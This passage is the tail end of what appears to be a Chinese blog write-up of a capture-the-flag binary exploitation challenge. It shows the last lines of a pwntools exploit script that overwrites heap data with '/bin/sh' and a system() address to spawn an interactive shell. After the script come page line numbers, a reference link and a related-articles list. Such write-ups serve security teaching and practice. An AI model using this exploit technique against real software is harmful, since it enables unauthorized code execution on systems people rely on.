    pay=pay.ljust(0x10*(0x330//0x30),'\x00')
    Change_Roles('A')
    Edit_Msg(17,pay)
    
    Change_Roles('B')
    
    pay=('/bin/sh\x00'+p64(system_addr))*(0x450//0x30)
    Edit_Msg(6,pay)
    
    # Getshell
    Change_Roles('hack')
    
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192

    参考

    https://www.anquanke.com/post/id/242640

  • 相关阅读:
    R语言确定聚类的最佳簇数:3种聚类优化方法
    Ribbon的使用、拓展机制以及源码分析
    Python3,区区几行代码,turtle替我实现了我多年的绘画梦。
    软件测试面试真题 | Selenium 的工作原理是什么?
    POI导出excel文件之取消合并单元格、删除列、移动列
    NYOJ - 91 - 阶乘之和(贪心算法)
    使用java多线程模拟一个售票系统
    SQL中JOIN、LEFT JOIN、RIGHT JOIN 的区别
    【已解决】windows10误删环境变量Path
    PLSQL Developer安装和配置
  • 原文地址:https://blog.csdn.net/qq_41252520/article/details/126588029